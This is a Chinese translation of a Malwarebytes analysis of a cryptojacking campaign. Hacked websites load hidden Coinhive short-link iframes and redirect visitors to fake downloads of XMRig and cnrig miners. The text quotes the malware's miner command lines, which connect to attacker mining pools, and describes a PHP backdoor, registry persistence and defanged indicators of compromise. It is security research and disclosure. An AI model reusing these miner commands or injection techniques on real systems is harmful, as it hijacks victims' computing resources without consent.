热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Malwarebytes对使用混淆Coinhive短链接进行浏览器挖矿的调查分析

前言在过去的几个月里,通过浏览器挖矿继续影响着大量的网站,主要依赖Coinhive臭名昭著的API。我们在这个博客上记录了一些活动,特别是Drupalgeddon,攻击者利用流行的内容管理系统(CMS

前言

在过去的几个月里,通过浏览器挖矿继续影响着大量的网站,主要依赖Coinhive臭名昭著的API。我们在这个博客上记录了一些活动,特别是Drupalgeddon,攻击者利用流行的内容管理系统(CMS)中的漏洞威胁网站,并在客户端和服务器端注入payload。

在过去的几周里,我们的爬虫已经使用各种CMS对数百个站点进行了编目,所有这些站点都被注入了相同的模糊代码,这些代码使用Coinhive的短链接来执行静默挖矿。通过围绕这一指标,我们能够确定一个更大的基础,它接收来自数千个被黑客攻击的网站的流量,作为门户将流量重定向到一个中央服务器,该服务器参与了网络和标准恶意挖矿软件的分销。

图1:受害站点挖矿过程

 

混淆注入

作为我们常规爬行的一部分,我们寻找已知最新的站点的重定向,它们大多数都与Coinhive的域名相关。我们发现了数百个新域名,所有合法网站都被注入了十六进制代码。解码后,它显示为一个不可见的请求cnhv[.]co/3h2b2的iframe(1×1像素)。我们相信这是5月底Sucuri披露的同一运动的一部分。

cnhv[.]co域名用于Coinhiv所谓的短链接,本质上是利用超链接通过解决访问者的浏览器在到达目标站点之前的一些麻烦,从而赚钱的一种方式。单击这样的链接时,你将看到一个进度条,几秒钟内,你将被重定向。通过将这些短链接加载为不合理的高散列计数的隐藏的iframes来滥用此功能。

图3:短链接对我们的CPU造成了100%的负担

在图3中,我们通过更改iframe的维度使其可见,以显示用户在页面上停留的时间,而不是在重定向之前等待几秒钟,而是在不知不觉中进行挖掘。实际上,虽然Coinhive的默认设置为1024个散列,但在加载目标URL之前,这个散列需要371.2万个散列。

 

后门启动重定向

在查询urlscan.io时,我们能够通过不同的重定向机制找到早在5月7日就已激活的同一Coinhive键。有一个特定的URI模式指示正在利用被攻击的站点执行5.45.79[.]15的重定向。这反过来通过另一个精心编制的URI创建一个重定向,其中一个参数是引用站点,最终导致启动Web挖矿程序的Coinhive短链接。

图4:通过中间服务器从受害网站加载相同的短链接

几个站点已经被注入隐藏的cnvh[.]co iframe方法,以及通过后门:

图5:一个被黑客攻击的站点,其中注入了Coinhive的短链接和多个受破坏的URL

用于重定向的URI模式可以通过以下正则表达式来标识:

图6:显示受攻击站点之间匹配的正则表达式

 

Blackhat SEO 和后门

再看看这些URI,我们可以注意到某些似乎与搜索引擎优化(SEO)相关的关键字的存在,例如:

cctvvietnam[.]com/1hqg/wzdea.php?lrscye=mongodb-count-fields
pixelbedlam.co[.]uk/9ul8/6nfme.php?lrscye=relativity-software-cost
valam[.]in/f8wb/z8d6w.php?lrscye=tutoring-in-egypt
stemat[.]pl/klwy/dzwfy.php?lrscye=vin-decoder-mercedes
whylab[.]nl/podd/1hwnz.php?lrscye=gpon-home-gateway-exploit
soho-dom[.]ru/el5p/ywuul.php?lrscye=bts-album-download-zip

我们证实,事实上,一些谷歌或必应搜索显示的结果,包括被攻击的作为“门户”网站的名单,,通常是一个交通分配系统或重定向(5.45.79[.]15)。在这种情况下,门户被用来欺骗人们下载恶意的挖矿程序,而不是他们正在寻找的文件。

图7:这个文件不是百分之百干净的

请注意5.45.79[.]15处的服务器是如何执行重定向到另一个被黑客攻击的站点(motoir[.]com)的,其中从URI传递的关键字被动态地用于创建看起来像是唯一的下载页面和文件。

图8:显示重定向序列的Web流量

 

恶意挖矿

执行时,此可执行文件将解压以下三个二进制文件:


  1. winsystem.exe XMRig矿工

  2. clock.exe 封装到EXE中的BAT文件

  3. netflash.exe: 一个用.NET编写的简单的下载程序。

批处理脚本通过设置注册表项来添加持久性,清除某些进程(可能已经在运行的挖掘程序),并通过启动以下步骤开始挖矿:

winsystem.exe -B -a cryptonight -o 37.1.197[.]121:80 -p x -u %COMPUTERNAME% +500 --max-cpu-usage=30 --donate-level=1 -k

图9:显示挖掘代码的批处理脚本

这些二进制文件基于来自一个挖矿软件的相同代码,托管在5.45.79[.]15/xxPhoto.exe上。使用VirusTotal Intelligence,我们能够在这个基础上进行扩展,并识别另一个挖矿程序,这一次是一个ELF文件,基于这个cnrig库,托管在:5.45.79[.]15/monero/cnrig。

图10:显示同一服务器上托管的ELF和Win32挖矿程序的图形

在VirusTotal页面上留下的注释表明,这个挖掘程序是在受感染的服务器上发现的,并且是从一个名为zz1.php的PHP后门下载的。在搜索该文件名时,我们找到了一个可能上传到公共站点的备用文件。通过解码Base64编码的字符串,我们可以更有信心地断言这是攻击者从5.45.79[.]15/monero/cnrig下载Linux挖矿软件时使用的恶意PHP文件:

图11:PHP代码上传到负责ELF矿工下载的受害站点

检索ELF二进制文件后,使用以下命令运行它,然后以便开始挖掘:

./cnrig -o 5.61.46[.]146:80 --donate-level=1 > /dev/null 2>&1

 

代理

由于挖矿程序在没有使用钱包地址的情况下连接到私人矿池(很可能是通过代理),我们无法评估攻击者通过这一计划赚了多少钱。

实际上,位于5.45.79[.]15的服务器也有自己的ProxyPanel:

图12:一个基于xmrig-Proxy的代理

XMRig版本的挖矿程序有一个公共统计页面,显示有近500台受害的机器参与了挖矿活动。对于CNRig版本,我们无法找到任何这样的统计数据,尽管被黑客攻击的服务器数量要高得多。

 

越来越多的网站

人们对加密货币的兴趣极大地改变了恶意软件领域,犯罪分子希望从中分一杯羹。因此,越来越多的网站,无论是客户端还是服务器端,都被用来分发和运营挖矿程序。

在这个活动中,我们看到了通过诱使用户下载他们在网上搜索的文件来将XMRig推送到用户的基础设施。与此同时,被黑客攻击的服务器被指示下载并运行一个Linux矿工,从而为攻击者带来利润,但也给其所有者带来了成本。最后,看到Coinhive的短链接被滥用来进行浏览器挖矿似乎是合情合理的。

Malwarebytes能阻止恶意挖矿,无论是由恶意软件触发的,还是通过受害网站加载的。

感谢@DynamicAnalysis分享的信息。

 

IoC

用于混淆cnvh[.]co注入的字符串

vhisduhvuhiusdhfbjhewvhisdhbybguyebrrfsd

Coinhive短链接

cnhv[.]co/3h2b2

Coinhive站点密钥

Dkpy5v4CBgwZqzPRosdHKDB7DQsc1Sav

用于受害站点重定向的regex

/(w{4}|w{8})/(w{5}|w{9}).php?([a-z]{6}|[a-z]{3})=[w]{1,25}-[w]{1,25}

重定向服务器

5.45.79[.]15

Windows挖矿后门

5.45.79[.]15/xxxphoto.exe
38f55239519523638dc2b3958f5e9951a6b04f813336927a4f7de717518e5b44

Linux矿工

5.45.79[.]15/monero/cnrig
c890d18fe3753a9ea4d026fc713247a9b83070b6fe40539779327501916be031

审核人:yiwang 编辑:边边


推荐阅读
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • OWASP(安全防护、漏洞验证工具)开放式Web应用程序安全项目(OWASP,OpenWebApplicationSecurityProject)是一个组织 ... [详细]
  • FIN7后门工具伪装成白帽工具进行传播
    fin7,后门,工具,伪装,成,白, ... [详细]
  • step1.为mongodb添加admin管理员root@12.154.29.163:~#mongoMongoDBshellversionv3.4.2connectingto:mo ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件
    本文旨在全面介绍Windows内存管理机制及C++内存分配实例中的内存映射文件。通过对内存映射文件的使用场合和与虚拟内存的区别进行解析,帮助读者更好地理解操作系统的内存管理机制。同时,本文还提供了相关章节的链接,方便读者深入学习Windows内存管理及C++内存分配实例的其他内容。 ... [详细]
  • 通过手机浏览器调用客户端QQ
    php教程|php手册thinkphp代码,代码示例,代码参考,php短信,数据库备份代码,令牌验证,去除代码中的空白和注释调用QQ客户端php教程-php手册可调用iosandr ... [详细]
  • Stringpattern".*"+"a?I'm"+".*";FindIterable<Doc ... [详细]
  • MongoDB学习:(二)MongoDB简单使用
    MongoDB学习:(二)MongoDB简单使用MongoDB使用:执行mongodb的操作之前,我们需要运行命令,来进入操作命令界面&amp;amp;gt;mongo提示 ... [详细]
author-avatar
mobiledu2502852625
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有